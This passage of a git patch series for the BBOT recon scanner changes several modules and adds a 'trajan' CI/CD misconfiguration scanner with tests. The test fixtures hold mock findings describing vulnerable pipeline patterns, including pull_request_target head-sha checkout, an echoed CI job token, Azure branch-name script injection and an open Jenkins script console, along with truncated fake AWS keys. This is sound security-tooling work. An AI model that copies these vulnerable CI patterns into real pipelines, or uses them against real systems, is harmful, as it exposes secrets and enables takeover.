bdf803f7fc..1133db4b01 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -126,7 +126,7 @@ async def masscan(self, targets, correlator, ping=False): with open(stats_file, "w") as stats_fh: async for line in self.run_process_live(command, sudo=True, stderr=stats_fh): for ip, port in self.parse_json_line(line): - parent_events = correlator.search(ip) + parent_events = correlator.search(str(ip)) # masscan gets the occasional junk result. this is harmless and # seems to be a side effect of it having its own TCP stack # see https://github.com/robertdavidgraham/masscan/issues/397 From 529f7a9055e10f7b845e27d91b4d0e33a44a5321 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 22:46:21 -0500 Subject: [PATCH 310/912] ruff format scanner.py --- bbot/scanner/scanner.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 05d8717624..488a85e781 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -236,9 +236,7 @@ def __init__( self.httpx_timeout = web_config.get("httpx_timeout", 5) self.http_retries = web_config.get("http_retries", 1) self.httpx_retries = web_config.get("httpx_retries", 1) - self.useragent = ( - f"{web_config.get('user_agent', 'BBOT')} {web_config.get('user_agent_suffix') or ''}".strip() - ) + self.useragent = f"{web_config.get('user_agent', 'BBOT')} {web_config.get('user_agent_suffix') or ''}".strip() # custom HTTP headers warning self.custom_http_headers = web_config.get("http_headers", {}) if self.custom_http_headers: From 6b5ed7e530612732b78a6ae3e3de89c9094c3bda Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 6 Mar 2026 11:41:11 -0500 Subject: [PATCH 311/912] Fix shodan_enterprise: remove redundant ASN emission, use framework scope filtering - Remove ASN event emission (already handled by asn report module via asndb) - Replace scope_distance_modifier+filter_event with proper in_scope_only class attr - Dynamically set scope_distance_modifier=1 when in_scope_only option is disabled - Add tests for in_scope_only=True and in_scope_only=False behavior --- bbot/modules/shodan_enterprise.py | 30 +------- .../test_module_shodan_enterprise.py | 74 +++++++++++++++++-- 2 files changed, 71 insertions(+), 33 deletions(-) diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 092d9d1b0c..f3723efb7f 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -3,7 +3,7 @@ class shodan_enterprise(BaseModule): watched_events = ["IP_ADDRESS"] - produced_events = ["OPEN_TCP_PORT", "TECHNOLOGY", "OPEN_UDP_PORT", "ASN", "FINDING"] + produced_events = ["OPEN_TCP_PORT", "TECHNOLOGY", "OPEN_UDP_PORT", "FINDING"] flags = ["passive", "safe"] meta = { "created_date": "2026-01-27", @@ -16,7 +16,7 @@ class shodan_enterprise(BaseModule): "api_key": "Shodan API Key", "in_scope_only": "Only query in-scope IPs. If False, will query up to distance 1.", } - scope_distance_modifier = 1 + in_scope_only = True base_url = "https://api.shodan.io" @@ -25,18 +25,13 @@ async def setup(self): if not self.api_key: return None, "No API key specified" if not self.config.get("in_scope_only", True): + self.in_scope_only = False + self.scope_distance_modifier = 1 self.warning( "in_scope_only is disabled. This module queries each IP individually and may consume a lot of API credits!" ) return True - async def filter_event(self, event): - in_scope_only = self.config.get("in_scope_only", True) - max_scope_distance = 0 if in_scope_only else (self.scan.scope_search_distance + 1) - if event.scope_distance > max_scope_distance: - return False, "event is not in scope" - return True - async def handle_event(self, event): ip = event.data url = f"{self.base_url}/shodan/host/{self.helpers.quote(ip)}?key={{api_key}}" @@ -57,23 +52,6 @@ async def handle_event(self, event): self.warning(f"Failed to parse Shodan API response for {ip}: {e}") return - # ASN Extraction - asn_raw = host.get("asn", "") - if asn_raw: - asn = { - "asn": asn_raw[2:] if asn_raw.startswith("AS") else asn_raw, - "name": host.get("org", ""), - "description": host.get("isp", ""), - "country": host.get("country_code", ""), - } - await self.emit_event( - asn, - "ASN", - parent=event, - tags=host.get("tags") or [], - context=f"{{module}} queried Shodan API for {ip} and found ASN", - ) - if "data" not in host: self.warning(f"No Shodan data about {ip}") return diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py index 9141bc3a4e..2b18f20520 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py @@ -51,13 +51,6 @@ async def setup_before_prep(self, module_test): ) def check(self, module_test, events): - asn_events = [e for e in events if e.type == "ASN"] - assert asn_events, "No ASN event detected" - asn = asn_events[0].data - assert asn.get("asn") == "15169" - assert asn.get("name") == "Google LLC" - assert asn.get("country") == "US" - assert asn.get("description") == "Google LLC" tcp_ports = [e.data for e in events if e.type == "OPEN_TCP_PORT"] udp_ports = [e.data for e in events if e.type == "OPEN_UDP_PORT"] assert any("8.8.8.8:53" in str(p) for p in tcp_ports), "TCP port 53 not detected" @@ -74,3 +67,70 @@ def check(self, module_test, events): assert "google public dns" in tech_names assert "openssl" in tech_names assert "nginx" in tech_names + + +shodan_response_1_1_1_1 = { + "data": [ + { + "ip_str": "1.1.1.1", + "port": 80, + "transport": "tcp", + "product": "cloudflare", + "tags": [], + "cpe": [], + "cpe23": [], + "http": {}, + "vulns": {}, + }, + ], +} + + +class TestShodan_Enterprise_InScopeOnly(ModuleTestBase): + """Test that in_scope_only=True (default) does NOT query out-of-scope IPs.""" + + targets = ["evilcorp.notreal"] + module_name = "shodan_enterprise" + config_overrides = {"modules": {"shodan_enterprise": {"api_key": "deadbeef"}}} + + async def setup_before_prep(self, module_test): + # This should NOT be called because in_scope_only=True + module_test.httpx_mock.add_response( + url="https://api.shodan.io/shodan/host/1.1.1.1?key=deadbeef", + json=shodan_response_1_1_1_1, + ) + + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"evilcorp.notreal": {"A": ["1.1.1.1"]}}) + + def check(self, module_test, events): + assert not any(e.type == "OPEN_TCP_PORT" and "1.1.1.1" in e.data for e in events), ( + "Should not have queried out-of-scope IP with in_scope_only=True" + ) + + +class TestShodan_Enterprise_OutOfScope(ModuleTestBase): + """Test that in_scope_only=False DOES query out-of-scope IPs (up to distance 1).""" + + targets = ["evilcorp.notreal"] + module_name = "shodan_enterprise" + config_overrides = { + "modules": {"shodan_enterprise": {"api_key": "deadbeef", "in_scope_only": False}}, + "dns": {"minimal": False}, + "scope": {"report_distance": 1}, + } + + async def setup_before_prep(self, module_test): + # This SHOULD be called because in_scope_only=False + module_test.httpx_mock.add_response( + url="https://api.shodan.io/shodan/host/1.1.1.1?key=deadbeef", + json=shodan_response_1_1_1_1, + ) + + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"evilcorp.notreal": {"A": ["1.1.1.1"]}}) + + def check(self, module_test, events): + assert any(e.type == "OPEN_TCP_PORT" and e.data == "1.1.1.1:80" for e in events), ( + "Should have queried out-of-scope IP with in_scope_only=False" + ) From 7f33c76513e39229a3257abc868999a1b1fedd9e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 6 Mar 2026 12:01:45 -0500 Subject: [PATCH 312/912] Remove asndb mock from test_target_basic, use real API --- bbot/test/test_step_1/test_target.py | 26 +++----------------------- 1 file changed, 3 insertions(+), 23 deletions(-) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 2a9bd5f965..a1344f4b30 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -382,22 +382,7 @@ async def test_asn_targets(bbot_scanner): target.seeds.add("ASN:15169") assert "ASN:15169" in target.seeds.inputs - # Test ASN target expansion with mocked asndb - from unittest.mock import AsyncMock, MagicMock, patch - - mock_client = MagicMock() - mock_client.lookup_asn = AsyncMock( - return_value={ - "asn": 15169, - "asn_name": "GOOGLE", - "org": "Google LLC", - "country": "US", - "subnets": ["8.8.8.0/24", "8.8.4.0/24"], - } - ) - mock_client.cleanup = AsyncMock() - - # Test target expansion + # Test ASN target expansion with real asndb (Google's AS15169) target = BBOTTarget(target=["ASN:15169"]) # Verify initial state @@ -405,20 +390,15 @@ async def test_asn_targets(bbot_scanner): initial_seeds = len(target.seeds.event_seeds) # Generate children (expand ASN to IP ranges) - with patch("asndb.ASNDB", return_value=mock_client): - await target.generate_children() + await target.generate_children() # After expansion, should have additional IP range seeds assert len(target.seeds.event_seeds) > initial_seeds assert len(target.seeds.hosts) > initial_hosts - # Should contain the expanded IP ranges + # Google's AS15169 owns 8.8.8.0/24 assert "8.8.8.0/24" in target.seeds.hosts - assert "8.8.4.0/24" in target.seeds.hosts - - # Target scope should also include the expanded ranges assert "8.8.8.0/24" in target.target.hosts - assert "8.8.4.0/24" in target.target.hosts @pytest.mark.asyncio From 3f7a2fa1d52aaeadcf34e10eaa463dc6f5604314 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 6 Mar 2026 15:26:45 -0500 Subject: [PATCH 313/912] Fix double-request bug in pgp module and remove stale TODO --- bbot/modules/pgp.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/bbot/modules/pgp.py b/bbot/modules/pgp.py index 0c53c2ad42..b5dd1adc74 100644 --- a/bbot/modules/pgp.py +++ b/bbot/modules/pgp.py @@ -10,7 +10,6 @@ class pgp(subdomain_enum): "created_date": "2022-08-10", "author": "@TheTechromancer", } - # TODO: scan for Web Key Directory (/.well-known/openpgpkey/) options = { "search_urls": [ "https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=", @@ -40,7 +39,6 @@ async def query(self, query): urls = [url.replace("", self.helpers.quote(query)) for url in urls] async for url, response in self.helpers.request_batch(urls): keyserver = self.helpers.urlparse(url).netloc - response = await self.helpers.request(url) if response is not None: for email in await self.helpers.re.extract_emails(response.text): email = email.lower() From db09d2bfa22c00d244e4662c8f25d9cd1a0998c9 Mon Sep 17 00:00:00 2001 From: N7WEra <59871507+N7WEra@users.noreply.github.com> Date: Wed, 11 Mar 2026 15:30:07 +0000 Subject: [PATCH 314/912] Added trajan module added module for trajan (https://github.com/praetorian-inc/trajan) --- bbot/modules/trajan.py | 190 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 190 insertions(+) create mode 100644 bbot/modules/trajan.py diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py new file mode 100644 index 0000000000..593a0fb086 --- /dev/null +++ b/bbot/modules/trajan.py @@ -0,0 +1,190 @@ +import json +import re +from bbot.modules.base import BaseModule + +class trajan(BaseModule): + watched_events = ["CODE_REPOSITORY", "URL_UNVERIFIED"] + produced_events = ["FINDING"] + flags = ["passive", "safe", "code-enum"] + meta = { + "description": "Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Trajan", + "author": "N7WERA (Credit to Praetorian for trajan)", + } + + # Configuration options + options = { + "version": "1.0.0", + "github_token": "", + "gitlab_token": "", + "ado_token": "", + "jfrog_token": "", + "jenkins_username": "", + "jenkins_password": "", + "jenkins_token": "", + } + options_desc = { + "version": "Trajan version to download and use", + "github_token": "GitHub API token for rate-limiting and private repo access", + "gitlab_token": "GitLab API token for private repo access", + "ado_token": "Azure DevOps Personal Access Token (PAT)", + "jfrog_token": "JFrog API token", + "jenkins_username": "Jenkins username for basic auth", + "jenkins_password": "Jenkins password for basic auth", + "jenkins_token": "Jenkins API token", + } + + deps_ansible = [ + { + "name": "Download Trajan binary", + "unarchive": { + "src": "https://github.com/praetorian-inc/trajan/releases/download/v#{BBOT_MODULES_TRAJAN_VERSION}/trajan_#{BBOT_MODULES_TRAJAN_VERSION}_#{BBOT_OS}_#{BBOT_CPU_ARCH_GOLANG}.tar.gz", + "include": "trajan", + "dest": "#{BBOT_TOOLS}", + "remote_src": True, + }, + } + ] + + async def setup(self): + self.github_token = self.config.get("github_token", "") + + # Borrow GitHub token from other modules if not explicitly set + if not self.github_token: + for module_name in ("github", "github_codesearch", "github_org", "git_clone"): + other_config = self.scan.config.get("modules", {}).get(module_name, {}) + api_key = other_config.get("api_key", "") + if api_key: + self.github_token = api_key + self.debug(f"Borrowing GitHub token from {module_name}") + break + + self.gitlab_token = self.config.get("gitlab_token", "") + self.ado_token = self.config.get("ado_token", "") + self.jfrog_token = self.config.get("jfrog_token", "") + self.jenkins_username = self.config.get("jenkins_username", "") + self.jenkins_password = self.config.get("jenkins_password", "") + self.jenkins_token = self.config.get("jenkins_token", "") + return True + + async def handle_event(self, event): + repo_url = "" + if event.type == "CODE_REPOSITORY": + repo_url = event.data.get("url", "") + elif event.type == "URL_UNVERIFIED": + repo_url = str(event.data) + + if not repo_url: + return + + command = None + + # GitHub + if "github.com" in repo_url: + if not self.github_token: + self.warning(f"Skipping {repo_url} - GitHub token required for Trajan") + return + match = re.search(r"github\.com/([^/]+)/([^/?#]+)", repo_url) + if match: + repo_path = f"{match.group(1)}/{match.group(2)}" + command = ["trajan", "github", "scan", "--repo", repo_path, "-o", "json"] + if self.github_token: + command.extend(["--token", self.github_token]) + self.verbose(f"Scanning GitHub {repo_path} with Trajan") + + # GitLab + elif "gitlab.com" in repo_url: + if not self.gitlab_token: + self.warning(f"Skipping {repo_url} - GitLab token required for Trajan") + return + match = re.search(r"gitlab\.com/([^/]+)/([^/?#]+)", repo_url) + if match: + repo_path = f"{match.group(1)}/{match.group(2)}" + command = ["trajan", "gitlab", "scan", "--project", repo_path, "-o", "json"] + if self.gitlab_token: + command.extend(["--token", self.gitlab_token]) + self.verbose(f"Scanning GitLab {repo_path} with Trajan") + + # Azure DevOps + elif "dev.azure.com" in repo_url: + if not self.ado_token: + self.warning(f"Skipping {repo_url} - Azure DevOps token required for Trajan") + return + # e.g., https://dev.azure.com/org/project/_git/repo + match = re.search(r"dev\.azure\.com/([^/]+)/([^/]+)/_git/([^/?#]+)", repo_url) + if match: + org = match.group(1) + project = match.group(2) + repo = match.group(3) + repo_path = f"{project}/{repo}" + command = ["trajan", "ado", "scan", "--org", org, "--repo", repo_path, "-o", "json"] + if self.ado_token: + command.extend(["--token", self.ado_token]) + self.verbose(f"Scanning Azure DevOps {org}/{repo_path} with Trajan") + + # JFrog + elif "jfrog.io" in repo_url or "artifactory" in repo_url: + if not self.jfrog_token: + self.warning(f"Skipping {repo_url} - JFrog token required for Trajan") + return + match = re.search(r"(https?://[^/]+)", repo_url) + if match: + base_url = match.group(1) + command = ["trajan", "jfrog", "scan", "--url", base_url, "--secrets", "-o", "json"] + if self.jfrog_token: + command.extend(["--token", self.jfrog_token]) + self.verbose(f"Scanning JFrog {base_url} with Trajan") + + # Jenkins + elif "jenkins" in repo_url: + if not self.jenkins_token and not (self.jenkins_username and self.jenkins_password): + self.warning(f"Skipping {repo_url} - Jenkins token or username/password required for Trajan") + return + match = re.search(r"(https?://[^/]+)", repo_url) + if match: + base_url = match.group(1) + command = ["trajan", "jenkins", "scan", "--url", base_url, "-o", "json"] + + # Check if it's a specific job + job_match = re.search(r"/job/([^/]+)", repo_url) + if job_match: + command.extend(["--repo", job_match.group(1)]) + + if self.jenkins_token: + command.extend(["--token", self.jenkins_token]) + if self.jenkins_username and self.jenkins_password: + command.extend(["--username", self.jenkins_username, "--password", self.jenkins_password]) + + self.verbose(f"Scanning Jenkins {repo_url} with Trajan") + + if not command: + return + + # Execute and parse findings + process = await self.helpers.run(command) + if not process or not process.stdout: + return + + try: + result = json.loads(process.stdout) + + findings = result.get("findings", []) + for finding_data in findings: + # Map Trajan's JSON output to BBOT's FINDING format + finding = { + "name": f"Trajan - {finding_data.get('type', finding_data.get('title', 'Misconfiguration'))}", + "description": finding_data.get("evidence", "No description provided."), + "severity": finding_data.get("severity", "INFO").upper(), + "confidence": "MODERATE", + "host": event.host + } + + # Append extra details to description if available + workflow = finding_data.get("workflow", "") + if workflow: + finding["description"] += f" (Workflow: {workflow})" + + await self.emit_event(finding, "FINDING", event) + + except json.JSONDecodeError: + # Log any non-JSON output (like progress bars or errors) to debug + self.debug(f"Trajan JSONDecodeError. Raw stdout: {process.stdout}") From 1a40850153eaedc24ecb5fd4db5407df6195d825 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 16 Mar 2026 11:14:13 -0400 Subject: [PATCH 315/912] trajan tests --- bbot/modules/trajan.py | 156 +++++----- .../module_tests/test_module_trajan.py | 276 ++++++++++++++++++ 2 files changed, 363 insertions(+), 69 deletions(-) create mode 100644 bbot/test/test_step_2/module_tests/test_module_trajan.py diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index 593a0fb086..67561df60d 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -1,5 +1,4 @@ import json -import re from bbot.modules.base import BaseModule class trajan(BaseModule): @@ -7,8 +6,8 @@ class trajan(BaseModule): produced_events = ["FINDING"] flags = ["passive", "safe", "code-enum"] meta = { - "description": "Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Trajan", - "author": "N7WERA (Credit to Praetorian for trajan)", + "description": "Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Praetorian's Trajan tool", + "author": "N7WERA", } # Configuration options @@ -76,115 +75,134 @@ async def handle_event(self, event): if not repo_url: return + parsed = getattr(event, "parsed_url", None) + if parsed is None: + return + hostname = parsed.hostname + if not hostname: + return + + _, domain = self.helpers.split_domain(hostname) + path_parts = [p for p in parsed.path.strip("/").split("/") if p] + base_url = f"{parsed.scheme}://{parsed.netloc}" + command = None # GitHub - if "github.com" in repo_url: + if domain == "github.com": if not self.github_token: self.warning(f"Skipping {repo_url} - GitHub token required for Trajan") return - match = re.search(r"github\.com/([^/]+)/([^/?#]+)", repo_url) - if match: - repo_path = f"{match.group(1)}/{match.group(2)}" + if len(path_parts) >= 2: + repo_path = f"{path_parts[0]}/{path_parts[1]}" command = ["trajan", "github", "scan", "--repo", repo_path, "-o", "json"] - if self.github_token: - command.extend(["--token", self.github_token]) + command.extend(["--token", self.github_token]) self.verbose(f"Scanning GitHub {repo_path} with Trajan") # GitLab - elif "gitlab.com" in repo_url: + elif domain == "gitlab.com": if not self.gitlab_token: self.warning(f"Skipping {repo_url} - GitLab token required for Trajan") return - match = re.search(r"gitlab\.com/([^/]+)/([^/?#]+)", repo_url) - if match: - repo_path = f"{match.group(1)}/{match.group(2)}" + if len(path_parts) >= 2: + repo_path = f"{path_parts[0]}/{path_parts[1]}" command = ["trajan", "gitlab", "scan", "--project", repo_path, "-o", "json"] - if self.gitlab_token: - command.extend(["--token", self.gitlab_token]) + command.extend(["--token", self.gitlab_token]) self.verbose(f"Scanning GitLab {repo_path} with Trajan") # Azure DevOps - elif "dev.azure.com" in repo_url: + elif domain == "azure.com" and hostname.startswith("dev."): if not self.ado_token: self.warning(f"Skipping {repo_url} - Azure DevOps token required for Trajan") return # e.g., https://dev.azure.com/org/project/_git/repo - match = re.search(r"dev\.azure\.com/([^/]+)/([^/]+)/_git/([^/?#]+)", repo_url) - if match: - org = match.group(1) - project = match.group(2) - repo = match.group(3) + if len(path_parts) >= 4 and path_parts[2] == "_git": + org = path_parts[0] + project = path_parts[1] + repo = path_parts[3] repo_path = f"{project}/{repo}" command = ["trajan", "ado", "scan", "--org", org, "--repo", repo_path, "-o", "json"] - if self.ado_token: - command.extend(["--token", self.ado_token]) + command.extend(["--token", self.ado_token]) self.verbose(f"Scanning Azure DevOps {org}/{repo_path} with Trajan") # JFrog - elif "jfrog.io" in repo_url or "artifactory" in repo_url: + elif "jfrog" in domain or "artifactory" in hostname: if not self.jfrog_token: self.warning(f"Skipping {repo_url} - JFrog token required for Trajan") return - match = re.search(r"(https?://[^/]+)", repo_url) - if match: - base_url = match.group(1) - command = ["trajan", "jfrog", "scan", "--url", base_url, "--secrets", "-o", "json"] - if self.jfrog_token: - command.extend(["--token", self.jfrog_token]) - self.verbose(f"Scanning JFrog {base_url} with Trajan") + command = ["trajan", "jfrog", "scan", "--url", base_url, "--secrets", "-o", "json"] + command.extend(["--token", self.jfrog_token]) + self.verbose(f"Scanning JFrog {base_url} with Trajan") # Jenkins - elif "jenkins" in repo_url: + elif "jenkins" in hostname: if not self.jenkins_token and not (self.jenkins_username and self.jenkins_password): self.warning(f"Skipping {repo_url} - Jenkins token or username/password required for Trajan") return - match = re.search(r"(https?://[^/]+)", repo_url) - if match: - base_url = match.group(1) - command = ["trajan", "jenkins", "scan", "--url", base_url, "-o", "json"] - - # Check if it's a specific job - job_match = re.search(r"/job/([^/]+)", repo_url) - if job_match: - command.extend(["--repo", job_match.group(1)]) - - if self.jenkins_token: - command.extend(["--token", self.jenkins_token]) - if self.jenkins_username and self.jenkins_password: - command.extend(["--username", self.jenkins_username, "--password", self.jenkins_password]) - - self.verbose(f"Scanning Jenkins {repo_url} with Trajan") + command = ["trajan", "jenkins", "scan", "--url", base_url, "-o", "json"] + # Check if it's a specific job + try: + job_idx = path_parts.index("job") + if job_idx + 1 < len(path_parts): + command.extend(["--repo", path_parts[job_idx + 1]]) + except ValueError: + pass + if self.jenkins_token: + command.extend(["--token", self.jenkins_token]) + if self.jenkins_username and self.jenkins_password: + command.extend(["--username", self.jenkins_username, "--password", self.jenkins_password]) + self.verbose(f"Scanning Jenkins {repo_url} with Trajan") if not command: return - # Execute and parse findings + # Execute and parse output + is_jfrog = "jfrog" in command process = await self.helpers.run(command) if not process or not process.stdout: return try: result = json.loads(process.stdout) - - findings = result.get("findings", []) - for finding_data in findings: - # Map Trajan's JSON output to BBOT's FINDING format - finding = { - "name": f"Trajan - {finding_data.get('type', finding_data.get('title', 'Misconfiguration'))}", - "description": finding_data.get("evidence", "No description provided."), - "severity": finding_data.get("severity", "INFO").upper(), - "confidence": "MODERATE", - "host": event.host - } - - # Append extra details to description if available - workflow = finding_data.get("workflow", "") - if workflow: - finding["description"] += f" (Workflow: {workflow})" - - await self.emit_event(finding, "FINDING", event) - except json.JSONDecodeError: - # Log any non-JSON output (like progress bars or errors) to debug self.debug(f"Trajan JSONDecodeError. Raw stdout: {process.stdout}") + return + + if is_jfrog: + await self.parse_jfrog_results(result, event) + else: + await self.parse_findings(result, event) + + async def parse_findings(self, result, event): + for finding_data in result.get("findings", []): + finding = { + "name": f"Trajan - {finding_data.get('type', 'unknown')}", + "description": finding_data.get("evidence", "No description provided."), + "severity": finding_data.get("severity", "info").upper(), + "confidence": "MODERATE", + "host": event.host, + } + workflow = finding_data.get("workflow", "") + if workflow: + finding["description"] += f" (Workflow: {workflow})" + await self.emit_event(finding, "FINDING", event) + + async def parse_jfrog_results(self, result, event): + for secret in result.get("artifactSecrets", []): + finding = { + "name": f"Trajan - JFrog Artifact Secret ({', '.join(secret.get('secretTypes', []))})", + "description": f"Secret found in artifact {secret.get('artifact', 'unknown')} at path {secret.get('path', 'unknown')}", + "severity": "HIGH", + "confidence": "CONFIRMED", + "host": event.host, + } + await self.emit_event(finding, "FINDING", event) + for secret in result.get("buildSecrets", []): + finding = { + "name": f"Trajan - JFrog Build Secret ({', '.join(secret.get('secretTypes', []))})", + "description": f"Secret found in build {secret.get('buildName', 'unknown')} #{secret.get('buildNumber', '?')} env var {secret.get('envVar', 'unknown')}", + "severity": "HIGH", + "confidence": "CONFIRMED", + "host": event.host, + } + await self.emit_event(finding, "FINDING", event) diff --git a/bbot/test/test_step_2/module_tests/test_module_trajan.py b/bbot/test/test_step_2/module_tests/test_module_trajan.py new file mode 100644 index 0000000000..3ee95e5efc --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_trajan.py @@ -0,0 +1,276 @@ +import json +from subprocess import CompletedProcess + +from .base import ModuleTestBase + + +trajan_github_output = json.dumps( + { + "summary": {"repositories": 1, "workflows": 3, "findings": 1, "errors": 0}, + "findings": [ + { + "type": "pwn_request", + "severity": "critical", + "confidence": "high", + "complexity": "zero_click", + "platform": "github", + "class": "injection", + "repository": "blacklanternsecurity/bbot", + "workflow": "CI", + "workflow_file": ".github/workflows/ci.yml", + "job": "build", + "step": "checkout", + "line": 42, + "trigger": "pull_request_target", + "evidence": "on: pull_request_target\nwith:\n ref: ${{ github.event.pull_request.head.sha }}", + "remediation": "Avoid using pull_request_target with user-controlled refs", + } + ], + } +) + +trajan_gitlab_output = json.dumps( + { + "summary": {"repositories": 1, "workflows": 2, "findings": 1, "errors": 0}, + "findings": [ + { + "type": "token_exposure", + "severity": "high", + "confidence": "high", + "platform": "gitlab", + "class": "secrets_exposure", + "repository": "someorg/somerepo", + "workflow": "deploy", + "workflow_file": ".gitlab-ci.yml", + "evidence": "CI_JOB_TOKEN exposed in script block via echo $CI_JOB_TOKEN", + } + ], + } +) + +trajan_ado_output = json.dumps( + { + "summary": {"repositories": 1, "workflows": 1, "findings": 1, "errors": 0}, + "findings": [ + { + "type": "script_injection", + "severity": "high", + "confidence": "medium", + "platform": "azuredevops", + "class": "injection", + "repository": "myproject/myrepo", + "workflow": "Build Pipeline", + "workflow_file": "azure-pipelines.yml", + "job": "build", + "step": "run_script", + "line": 15, + "trigger": "pullRequest", + "evidence": "script: echo $(Build.SourceBranch)", + } + ], + } +) + +trajan_jfrog_output = json.dumps( + { + "instance": "https://mycompany.jfrog.io", + "artifactSecrets": [ + { + "artifact": "config.yaml", + "path": "libs-release/com/example/config.yaml", + "repo": "libs-release", + "secretTypes": ["aws_access_key", "generic_api_key"], + "value": "AKIA...", + } + ], + "buildSecrets": [ + { + "buildName": "release-pipeline", + "buildNumber": "42", + "envVar": "AWS_SECRET_KEY", + "value": "wJalr...", + "secretTypes": ["aws_secret_key"], + } + ], + "remoteRepoCredentials": [], + "totalSecrets": 2, + } +) + +trajan_jenkins_output = json.dumps( + { + "summary": {"repositories": 1, "workflows": 4, "findings": 1, "errors": 0}, + "findings": [ + { + "type": "jenkins_script_console", + "severity": "critical", + "confidence": "high", + "platform": "jenkins", + "class": "configuration", + "repository": "deploy-pipeline", + "workflow": "deploy-pipeline", + "evidence": "Script console accessible at /script without authentication", + } + ], + } +) + + +class TestTrajanGithub(ModuleTestBase): + targets = ["https://github.com/blacklanternsecurity/bbot"] + modules_overrides = ["trajan"] + config_overrides = {"modules": {"trajan": {"github_token": "test-gh-token"}}} + + async def setup_after_prep(self, module_test): + async def mock_run(*command, **kwargs): + cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command) + if "trajan" in cmd: + assert "github" in cmd + assert "--repo" in cmd + repo_idx = cmd.index("--repo") + assert cmd[repo_idx + 1] == "blacklanternsecurity/bbot" + assert "--token" in cmd + token_idx = cmd.index("--token") + assert cmd[token_idx + 1] == "test-gh-token" + return CompletedProcess(cmd, 0, trajan_github_output, "") + return CompletedProcess(cmd, 1, "", "") + + module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run) + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + assert len(findings) == 1, f"Expected 1 FINDING, got {len(findings)}" + finding = findings[0] + assert "pwn_request" in finding.data["name"] + assert finding.data["severity"] == "CRITICAL" + assert "CI" in finding.data["description"] + + +class TestTrajanGitlab(ModuleTestBase): + targets = ["https://gitlab.com/someorg/somerepo"] + modules_overrides = ["trajan"] + config_overrides = {"modules": {"trajan": {"gitlab_token": "test-gl-token"}}} + + async def setup_after_prep(self, module_test): + async def mock_run(*command, **kwargs): + cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command) + if "trajan" in cmd: + assert "gitlab" in cmd + assert "--project" in cmd + project_idx = cmd.index("--project") + assert cmd[project_idx + 1] == "someorg/somerepo" + assert "--token" in cmd + token_idx = cmd.index("--token") + assert cmd[token_idx + 1] == "test-gl-token" + return CompletedProcess(cmd, 0, trajan_gitlab_output, "") + return CompletedProcess(cmd, 1, "", "") + + module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run) + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + assert len(findings) == 1, f"Expected 1 FINDING, got {len(findings)}" + finding = findings[0] + assert "token_exposure" in finding.data["name"] + assert finding.data["severity"] == "HIGH" + assert "deploy" in finding.data["description"] + + +class TestTrajanAdo(ModuleTestBase): + targets = ["https://dev.azure.com/myorg/myproject/_git/myrepo"] + modules_overrides = ["trajan"] + config_overrides = {"modules": {"trajan": {"ado_token": "test-ado-token"}}} + + async def setup_after_prep(self, module_test): + async def mock_run(*command, **kwargs): + cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command) + if "trajan" in cmd: + assert "ado" in cmd + assert "--org" in cmd + org_idx = cmd.index("--org") + assert cmd[org_idx + 1] == "myorg" + assert "--repo" in cmd + repo_idx = cmd.index("--repo") + assert cmd[repo_idx + 1] == "myproject/myrepo" + assert "--token" in cmd + token_idx = cmd.index("--token") + assert cmd[token_idx + 1] == "test-ado-token" + return CompletedProcess(cmd, 0, trajan_ado_output, "") + return CompletedProcess(cmd, 1, "", "") + + module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run) + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + assert len(findings) == 1, f"Expected 1 FINDING, got {len(findings)}" + finding = findings[0] + assert "script_injection" in finding.data["name"] + assert finding.data["severity"] == "HIGH" + assert "Build Pipeline" in finding.data["description"] + + +class TestTrajanJfrog(ModuleTestBase): + targets = ["https://mycompany.jfrog.io/artifactory/libs-release"] + modules_overrides = ["trajan"] + config_overrides = {"modules": {"trajan": {"jfrog_token": "test-jfrog-token"}}} + + async def setup_after_prep(self, module_test): + async def mock_run(*command, **kwargs): + cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command) + if "trajan" in cmd: + assert "jfrog" in cmd + assert "--url" in cmd + url_idx = cmd.index("--url") + assert cmd[url_idx + 1] == "https://mycompany.jfrog.io" + assert "--secrets" in cmd + assert "--token" in cmd + token_idx = cmd.index("--token") + assert cmd[token_idx + 1] == "test-jfrog-token" + return CompletedProcess(cmd, 0, 